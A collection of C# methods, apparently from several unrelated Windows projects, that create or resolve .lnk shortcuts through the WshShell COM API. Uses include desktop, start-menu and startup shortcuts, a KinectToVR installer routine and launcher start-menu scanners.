SelectedEmu.Name + @"\" + $"{Filename}.png"); } else { var shortcute = XmlDocSC.ShortCutes[SelectedShortCuteHis]; if (shortcute.Name != Filename) { File.Delete(emupath + shortcute.Name + ".exe"); File.Delete(Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + $"\\{shortcute.Name}.lnk"); File.Delete(shortcute.Image); } shortcute.Name = Filename; shortcute.EmuPath = Edirbox.Text + SelectedEmu.Exe; shortcute.GamePath = Gdirbox.Text; shortcute.Image = appdata + SelectedEmu.Name + @"\" + $"{Filename}.png"; message = message.Replace("created", "modified"); SelectedShortCuteHis = -1; Thread order = new Thread(XmlDocSC.SortList); order.Start(); } File.Copy(temppath + "tempORIGINAL.png", appdata + SelectedEmu.Name + @"\" + $"{Filename}.png", true); if (DesktopCheck.Checked) { object shDesktop = (object)"Desktop"; IWshRuntimeLibrary.WshShell shell = new IWshRuntimeLibrary.WshShell(); string shortcutAddress = (string)shell.SpecialFolders.Item(ref shDesktop) + @"\" + Filename + ".lnk"; IWshRuntimeLibrary.IWshShortcut shortcut = (IWshRuntimeLibrary.IWshShortcut)shell.CreateShortcut(shortcutAddress); shortcut.Description = "ShortCute for " + Filename; shortcut.TargetPath = Output; shortcut.WorkingDirectory = emupath; shortcut.Save(); } Cursor = Cursors.Default; Application.UseWaitCursor = false; if (MessageForm.Success(message)) { var starto = new Process(); starto.StartInfo.FileName = Output; starto.StartInfo.WorkingDirectory = emupath; starto.Start(); } }
public async void OnSelected() { await Task.Run(() => { Log("K2EX Installer " + Assembly.GetExecutingAssembly().GetName().Version.ToString() + " on " + DateTime.Now.ToString()); Log("Checking if SteamVR is open...", false); foreach (Process process in Process.GetProcesses()) { if (process.ProcessName == "vrmonitor") { Log("Closing vrmonitor...", false); process.CloseMainWindow(); Thread.Sleep(5000); if (!process.HasExited) { Log("Force closing...", false); /* When SteamVR is open with no headset detected, * CloseMainWindow will only close the "headset not found" popup * so we kill it, if it's still open */ process.Kill(); Thread.Sleep(3000); } } } /* Apparently, SteamVR server can run without the monitor, * so we close that, if it's open as well (monitor will complain if you close server first) */ foreach (Process process in Process.GetProcesses()) { if (process.ProcessName == "vrserver") { Log("Closing vrserver...", false); // CloseMainWindow won't work here because it doesn't have a window process.Kill(); Thread.Sleep(5000); if (!process.HasExited) { MessageBox.Show(Properties.Resources.install_steamvr_close_failed); Cancel(); return; } } } Log("Done!"); Log("Checking for legacy installations...", false); Uninstaller.UninstallK2VrLegacy(this); Log("Checking for other K2EX installations...", false); try { if (!Uninstaller.UninstallAllK2EX(this)) { return; } } catch (Exception e) { Dispatcher.Invoke(() => { if (new ExceptionDialog(e, true).ShowDialog().Value != true) { Application.Current.Shutdown(1); } }); } Log("Done!"); Log("Checking install directory...", false); bool dirExists = Directory.Exists(App.state.GetFullInstallationPath()); Log("Done!"); Log("Creating install directory...", false); if (!dirExists) { Directory.CreateDirectory(App.state.GetFullInstallationPath()); } Log("Done!"); Log("Extracting OpenVR driver...", false); string zipFileName = Path.Combine(App.downloadDirectory + FileDownloader.files["k2vr"].OutName); using (ZipArchive archive = ZipFile.OpenRead(zipFileName)) { foreach (ZipArchiveEntry entry in archive.Entries) { string newName = entry.FullName.Substring("K2EX/".Length); // Remove the top level folder string fullPath = Path.GetFullPath(Path.Combine(App.state.GetFullInstallationPath(), newName)); if (fullPath.EndsWith(@"\", StringComparison.Ordinal)) { Directory.CreateDirectory(fullPath); App.state.installedFolders.Add(fullPath); } else { entry.ExtractToFile(fullPath, true); App.state.installedFiles.Add(fullPath); } } } Log("Done!"); Log("Registering application...", false); App.state.Write(); // we need to manually set file attribs before copying. try { File.SetAttributes(Path.Combine(App.state.GetFullInstallationPath(), "k2vr-installer-gui.exe"), FileAttributes.Normal); } catch (Exception) { } File.Copy(Assembly.GetExecutingAssembly().Location, Path.Combine(App.state.GetFullInstallationPath(), "k2vr-installer-gui.exe"), true); Uninstaller.RegisterUninstaller(); if ((App.state.trackingDevice == InstallerState.TrackingDevice.Xbox360Kinect && !App.state.kinectV1SdkInstalled) || (App.state.trackingDevice == InstallerState.TrackingDevice.XboxOneKinect && !App.state.kinectV2SdkInstalled)) { Log("Installing the Kinect SDK...", false); string sdkInstaller = Path.Combine(App.downloadDirectory, FileDownloader.files[(App.state.trackingDevice == InstallerState.TrackingDevice.Xbox360Kinect) ? "kinect_v1_sdk" : "kinect_v2_sdk"].OutName); Process sdkInstallerProcess = Process.Start(sdkInstaller); Thread.Sleep(1000); try { // https://stackoverflow.com/a/3734322/ AutomationElement element = AutomationElement.FromHandle(sdkInstallerProcess.MainWindowHandle); if (element != null) { element.SetFocus(); } } catch (Exception) { } // Don't want the whole install to fail for something that mundane sdkInstallerProcess.WaitForExit(); App.state.UpdateSdkInstalled(); if ((App.state.trackingDevice == InstallerState.TrackingDevice.Xbox360Kinect && !App.state.kinectV1SdkInstalled) || (App.state.trackingDevice == InstallerState.TrackingDevice.XboxOneKinect && !App.state.kinectV2SdkInstalled)) { Log("Failed!"); MessageBox.Show(Properties.Resources.install_sdk_failed); Cancel(); return; } Log("Done!"); } else { Log("Kinect SDK is already installed."); } Log("Installing Visual C++ Redistributable...", false); string vcRedistPath = Path.Combine(App.downloadDirectory, FileDownloader.files["vc_redist2019"].OutName); Process.Start(vcRedistPath, "/quiet /norestart").WaitForExit(); Log("Done!"); Log("Registering OpenVR driver...", false); string driverPath = Path.Combine(App.state.GetFullInstallationPath(), "KinectToVR"); Process.Start(App.state.vrPathReg, "adddriver \"" + driverPath + "\"").WaitForExit(); Log("Checking...", false); var openVrPaths = OpenVrPaths.Read(); if (!openVrPaths.external_drivers.Contains(driverPath)) { Log("Copying...", false); CopyFilesRecursively(new DirectoryInfo(driverPath), new DirectoryInfo(App.state.copiedDriverPath)); } Log("Done!"); string kinectProcessName = "KinectV" + (App.state.trackingDevice == InstallerState.TrackingDevice.XboxOneKinect ? "2" : "1") + "Process"; if (App.state.trackingDevice == InstallerState.TrackingDevice.PlayStationMove) { kinectProcessName = "psmsprocess"; } Log("Registering OpenVR overlay...", false); var appConfig = AppConfig.Read(); string manifestPath = Path.Combine(App.state.GetFullInstallationPath(), kinectProcessName + ".vrmanifest"); if (!appConfig.manifest_paths.Contains(manifestPath)) { appConfig.manifest_paths.Add(manifestPath); appConfig.Write(); Log("Done!"); } else { Log("Already done!"); } Log("Disabling SteamVR Home, enabling advanced settings...", false); var steamVrSettings = JsonConvert.DeserializeObject <dynamic>(File.ReadAllText(App.state.steamVrSettingsPath)); try { steamVrSettings["steamvr"]["enableHomeApp"] = false; steamVrSettings["steamvr"]["showAdvancedSettings"] = true; JsonFile.Write(App.state.steamVrSettingsPath, steamVrSettings, 3, ' '); Log("Done!"); } catch (Exception) { Log("Failed (uncritical)!"); } Log("Registering tracker roles...", false); try { if (steamVrSettings["trackers"] == null) { steamVrSettings["trackers"] = new JObject(); } steamVrSettings["trackers"]["/devices/htc/vive_trackerLHR-CB11ABEC"] = "TrackerRole_Waist"; steamVrSettings["trackers"]["/devices/htc/vive_trackerLHR-CB1441A7"] = "TrackerRole_RightFoot"; steamVrSettings["trackers"]["/devices/htc/vive_trackerLHR-CB9AD1T2"] = "TrackerRole_LeftFoot"; JsonFile.Write(App.state.steamVrSettingsPath, steamVrSettings, 3, ' '); Log("Done!"); } catch (Exception) { Log("Failed (uncritical)!"); } Log("Enabling driver in SteamVR...", false); try { if (steamVrSettings["driver_kinecttovr"] == null) { steamVrSettings["driver_kinecttovr"] = new JObject(); } steamVrSettings["driver_kinecttovr"]["enable"] = true; steamVrSettings["driver_kinecttovr"]["blocked_by_safe_mode"] = false; JsonFile.Write(App.state.steamVrSettingsPath, steamVrSettings, 3, ' '); Log("Done!"); } catch (Exception) { Log("Failed (uncritical)!"); } Log("Creating start menu entry...", false); if (!Directory.Exists(App.startMenuFolder)) { Directory.CreateDirectory(App.startMenuFolder); } // https://stackoverflow.com/a/4909475/ var shell = new IWshRuntimeLibrary.WshShell(); string shortcutAddress = Path.Combine(App.startMenuFolder, "KinectToVR.lnk"); var shortcut = (IWshRuntimeLibrary.IWshShortcut)shell.CreateShortcut(shortcutAddress); shortcut.Description = "Launch KinectToVR"; shortcut.TargetPath = Path.Combine(App.state.GetFullInstallationPath(), kinectProcessName + ".exe"); shortcut.IconLocation = Path.Combine(App.state.GetFullInstallationPath(), "k2vr.ico"); shortcut.WorkingDirectory = Path.Combine(App.state.GetFullInstallationPath()); shortcut.Save(); Log("Refreshing...", false); foreach (Process process in Process.GetProcesses()) { if (process.ProcessName == "StartMenuExperienceHost") { process.Kill(); Thread.Sleep(500); } } Log("Done!"); Log("Installation complete!"); Log("The installation log can be found in \"" + App.downloadDirectory + "\"", false); Button_Complete_Install.Dispatcher.Invoke(() => { Button_Complete_Install.IsEnabled = true; }); }); }
private ImageSource IconForExtension(string extension) { switch (extension) { case EXTENSION_EXE: { this.RealFileLocation = this.FileLocation; return(this.ExtractIconFromFileLocation(this.RealFileLocation)); } case EXTENSION_LNK: { IWshRuntimeLibrary.WshShell shell = new IWshRuntimeLibrary.WshShell(); IWshRuntimeLibrary.IWshShortcut link = shell.CreateShortcut(this.FileLocation) as IWshRuntimeLibrary.IWshShortcut; // // See: https://msdn.microsoft.com/en-us/library/xk6kst2k(v=vs.84).aspx // TODO: implement proper handling of arguments/windowsstyle etc. // if (link != null) { if (string.IsNullOrEmpty(link.TargetPath)) { this.RealFileLocation = this.FileLocation; } else { if (File.Exists(link.TargetPath)) { string targetPathExtension = Path.GetExtension(link.TargetPath); if (targetPathExtension.Equals(EXTENSION_EXE, StringComparison.InvariantCultureIgnoreCase)) { this.RealFileLocation = link.TargetPath; } else { // // Prevent that non-executable files are opened. // this.RealFileLocation = this.FileLocation; } } else { // // Workaround for issue as described in: http://stackoverflow.com/q/7120583/4253002. // string workingDirectory = link.WorkingDirectory; string fileName = Path.GetFileName(link.TargetPath); if (!string.IsNullOrEmpty(link.WorkingDirectory)) { string targetFile = Path.Combine(workingDirectory, fileName); if (!Path.GetExtension(targetFile).Equals(EXTENSION_EXE, StringComparison.InvariantCultureIgnoreCase) || !File.Exists(targetFile)) { // // Prevent that non-executable (or not existing) files can be opened. // this.RealFileLocation = this.FileLocation; } else { this.RealFileLocation = targetFile; } } else { // // Hmm, ok. The x86 folder does not exist, and there is no working directory. // It might be useful to verify that we have a 'Program Files (x86)' folder. If so, attempt to rewrite it to the x64 variant. // string x86Folder = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFilesX86); if (Environment.Is64BitOperatingSystem && link.TargetPath.StartsWith(x86Folder)) { if (Environment.Is64BitProcess) { string x64Folder = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles); this.RealFileLocation = link.TargetPath.Replace(x86Folder, x64Folder); } else { string baseDirectory = Path.GetPathRoot(Environment.GetFolderPath(Environment.SpecialFolder.System)); const string PROGRAM_FILES_X64 = "Program Files"; string x64Folder = Path.Combine(baseDirectory, PROGRAM_FILES_X64); if (Directory.Exists(x64Folder)) { this.RealFileLocation = link.TargetPath.Replace(x86Folder, x64Folder); } else { this.RealFileLocation = link.TargetPath; } } } else { // // FileLocation cannot be determined... :( // this.RealFileLocation = link.TargetPath; } } } } if (!string.IsNullOrEmpty(link.Arguments)) { this.Arguments = link.Arguments; } return(this.ExtractIconFromFileLocation(this.RealFileLocation)); } else { goto default; } } default: { return(Utility.Current.GetWpfImageSource("default_32.png")); } } }
public static string ResolveShortcut(string filePath) { Thread.CurrentThread.CurrentUICulture = CultureInfo.CurrentCulture; IWshRuntimeLibrary.WshShell shell = new IWshRuntimeLibrary.WshShell(); try { IWshRuntimeLibrary.IWshShortcut shortcut = (IWshRuntimeLibrary.IWshShortcut)shell.CreateShortcut(filePath); return shortcut.TargetPath; } catch (COMException) { return null; } }
private void CreateSuggestions() { List<ApplicationListViewItem> items = new List<ApplicationListViewItem>(); ImageList imageLst = new ImageList(); imageLst.ColorDepth = ColorDepth.Depth32Bit; StringBuilder allUsersStartMenu = new StringBuilder(260 + 1); WinApi.SHGetSpecialFolderPath(IntPtr.Zero, allUsersStartMenu, WinApi.CSIDL.COMMON_PROGRAMS, false); Stack<DirectoryInfo> pendingDirs = new Stack<DirectoryInfo>(); pendingDirs.Push(new DirectoryInfo(allUsersStartMenu.ToString())); pendingDirs.Push(new DirectoryInfo(Environment.GetFolderPath(Environment.SpecialFolder.StartMenu))); IWshRuntimeLibrary.IWshShell shell = new IWshRuntimeLibrary.WshShell(); while (pendingDirs.Count > 0) { DirectoryInfo dir = pendingDirs.Pop(); try { foreach (FileInfo file in dir.GetFiles("*.lnk")) { var shortcut = shell.CreateShortcut(file.FullName) as IWshRuntimeLibrary.IWshShortcut; if (shortcut != null) { string name = Path.GetFileNameWithoutExtension(shortcut.FullName); string targetName = Path.GetFileNameWithoutExtension(shortcut.TargetPath); string targetExt = Path.GetExtension(shortcut.TargetPath); if (targetExt == ".exe" && name.ToLower().IndexOf("uninst") < 0 && targetName.ToLower().IndexOf("uninst") < 0) { var item = new ApplicationListViewItem(name, shortcut.TargetPath, shortcut.Arguments, shortcut.WorkingDirectory); var icon = System.Drawing.Icon.ExtractAssociatedIcon(item.FileName); imageLst.Images.Add(item.FileName, icon); item.ImageKey = item.FileName; items.Add(item); } } } foreach (DirectoryInfo subdir in dir.GetDirectories()) pendingDirs.Push(subdir); } catch { } } items.Sort(); suggestItems = items.ToArray(); suggestImages = imageLst; searchBox.UpdateSuggestions(suggestItems, suggestImages); }
public void CreateShortcut() { if (File.Exists(ShortcutLink)) return; IWshRuntimeLibrary.WshShell wsh = new IWshRuntimeLibrary.WshShell(); IWshRuntimeLibrary.IWshShortcut ggshortcut = (IWshRuntimeLibrary.IWshShortcut)wsh.CreateShortcut(ShortcutLink); ggshortcut.TargetPath = Assembly.GetExecutingAssembly().Location; ggshortcut.IconLocation = (new FileInfo(Assembly.GetExecutingAssembly().Location)).DirectoryName + "\\gg.ico"; ggshortcut.WorkingDirectory = (new FileInfo(Assembly.GetExecutingAssembly().Location)).DirectoryName; ggshortcut.Description = "GG"; ggshortcut.Save(); }
private void btnCreateDesktopShortcut_Click(object sender, EventArgs e) { String ShortcutLnk = Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + "\\Typing For Fun.lnk"; if (!File.Exists(ShortcutLnk)) { IWshRuntimeLibrary.WshShell shell = new IWshRuntimeLibrary.WshShell(); IWshRuntimeLibrary.IWshShortcut link = (IWshRuntimeLibrary.IWshShortcut)shell.CreateShortcut(ShortcutLnk); link.TargetPath = atmdir; link.Save(); } }
public static async Task <List <Program> > GetShortcutProgramsFromFolder(string path, CancellationTokenSource cancelToken = null) { return(await Task.Run(() => { var folderExceptions = new string[] { @"\Accessibility\", @"\Accessories\", @"\Administrative Tools\", @"\Maintenance\", @"\StartUp\", @"\Windows ", @"\Microsoft ", }; var nameExceptions = new string[] { "uninstall", "setup" }; var pathExceptions = new string[] { @"\system32\", @"\windows\", }; var shell = new IWshRuntimeLibrary.WshShell(); var apps = new List <Program>(); var shortucts = new SafeFileEnumerator(path, "*.lnk", SearchOption.AllDirectories); foreach (var shortcut in shortucts) { if (cancelToken?.IsCancellationRequested == true) { return null; } if (shortcut.Attributes.HasFlag(FileAttributes.Directory)) { continue; } var fileName = shortcut.Name; var Directory = Path.GetDirectoryName(shortcut.FullName); if (folderExceptions.FirstOrDefault(a => shortcut.FullName.IndexOf(a, StringComparison.OrdinalIgnoreCase) >= 0) != null) { continue; } if (nameExceptions.FirstOrDefault(a => shortcut.FullName.IndexOf(a, StringComparison.OrdinalIgnoreCase) >= 0) != null) { continue; } var link = (IWshRuntimeLibrary.IWshShortcut)shell.CreateShortcut(shortcut.FullName); var target = link.TargetPath; if (pathExceptions.FirstOrDefault(a => target.IndexOf(a, StringComparison.OrdinalIgnoreCase) >= 0) != null) { continue; } // Ignore duplicates if (apps.FirstOrDefault(a => a.Path == target) != null) { continue; } // Ignore non-application links if (Path.GetExtension(target) != ".exe") { continue; } var app = new Program() { Path = target, Icon = link.IconLocation, Name = Path.GetFileNameWithoutExtension(shortcut.Name), WorkDir = link.WorkingDirectory }; apps.Add(app); } return apps; })); }
/// <summary> /// Creates a Shortcut of the current .exe at the Startup folder. /// </summary> public static void CreateStartupShortcut() { object shDesktop = (object)"Startup"; IWshRuntimeLibrary.WshShell shell = new IWshRuntimeLibrary.WshShell(); string shortcutAddress = (string)shell.SpecialFolders.Item(ref shDesktop) + @"\WallpaperClock.lnk"; IWshRuntimeLibrary.IWshShortcut shortcut = (IWshRuntimeLibrary.IWshShortcut)shell.CreateShortcut(shortcutAddress); shortcut.TargetPath = System.Windows.Forms.Application.ExecutablePath; shortcut.Save(); }
private void startMenuTraveller(string look_here) { if(backgroundWorker1.CancellationPending) return; IWshRuntimeLibrary.WshShell shell = new IWshRuntimeLibrary.WshShell(); IWshRuntimeLibrary.IWshShortcut link; try { foreach (FileInfo shortcut in new DirectoryInfo(look_here).GetFiles("*.lnk")) { try { link = (IWshRuntimeLibrary.IWshShortcut)shell.CreateShortcut(shortcut.FullName); if (link.TargetPath.Length >= game_path.Length && game_path.ToLower() == link.TargetPath.Substring(0, game_path.Length).ToLower()) { this.outputFile(shortcut.FullName); this.outputFileSystemPath(link.TargetPath); } } catch (Exception e) { this.writeLine(e.Message); } } } catch (FileNotFoundException e) { } catch (UnauthorizedAccessException e) { } catch (Exception e) { writeLine(e.Message); } try { foreach (DirectoryInfo now_here in new DirectoryInfo(look_here).GetDirectories()) { try { startMenuTraveller(now_here.FullName); } catch (Exception e) { this.writeLine(e.Message); } } } catch(DirectoryNotFoundException) { } catch(UnauthorizedAccessException) { } catch(Exception e) { writeLine(e.Message); } }
public static void link(string verion) { IWshRuntimeLibrary.WshShell shell = new IWshRuntimeLibrary.WshShell(); IWshRuntimeLibrary.IWshShortcut shortcut = (IWshRuntimeLibrary.IWshShortcut)shell.CreateShortcut(Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory) + "\\" + "质量效应3" + verion + ".lnk"); shortcut.TargetPath = System.Windows.Forms.Application.StartupPath + "\\Binaries\\Win32\\masseffect3.exe"; shortcut.WorkingDirectory = System.Environment.CurrentDirectory; shortcut.WindowStyle = 1; shortcut.Description = "质量效应3" + verion; shortcut.IconLocation = System.Windows.Forms.Application.StartupPath + "\\Binaries\\Win32\\masseffect3.exe"; shortcut.Save(); }
protected override DetectedLocations getPaths(LocationShortcut get_me) { FileInfo the_shortcut; //StringBuilder start_menu; DetectedLocations return_me = new DetectedLocations(); String path; List<string> paths = this.getPaths(get_me.ev); the_shortcut = null; foreach (string check_me in paths) { the_shortcut = new FileInfo(Path.Combine(check_me, get_me.path)); if (the_shortcut.Exists) break; } if (the_shortcut != null && the_shortcut.Exists) { IWshRuntimeLibrary.WshShell shell = new IWshRuntimeLibrary.WshShell(); IWshRuntimeLibrary.IWshShortcut link = (IWshRuntimeLibrary.IWshShortcut)shell.CreateShortcut(the_shortcut.FullName); try { path = Path.GetDirectoryName(link.TargetPath); path = get_me.modifyPath(path); return_me.AddRange(Core.locations.interpretPath(path)); } catch { } } return return_me; }
private static string GetLnkTargetSimple(string lnkPath) { IWshRuntimeLibrary.IWshShell wsh = null; IWshRuntimeLibrary.IWshShortcut sc = null; try { wsh = new IWshRuntimeLibrary.WshShell(); sc = (IWshRuntimeLibrary.IWshShortcut)wsh.CreateShortcut(lnkPath); return sc.TargetPath; } finally { if (wsh != null) Marshal.ReleaseComObject(wsh); if (sc != null) Marshal.ReleaseComObject(sc); } }
private bool CreateStartupMenu() { try { string p = Environment.GetFolderPath(Environment.SpecialFolder.Startup); string s = this.CreateStartupBatFile(); IWshRuntimeLibrary.WshShell shell = new IWshRuntimeLibrary.WshShell(); IWshRuntimeLibrary.WshShortcut shortcut = (IWshRuntimeLibrary.WshShortcut)shell.CreateShortcut(p + "\\startup.lnk"); shortcut.TargetPath = s; shortcut.Arguments = ""; shortcut.Description = "启动"; shortcut.WorkingDirectory = this.installPath.Text; shortcut.IconLocation = string.Format("{0},0", s); shortcut.Save(); this.AddLog("启动组快捷方式创建成功"); return true; } catch (Exception) { return false; } }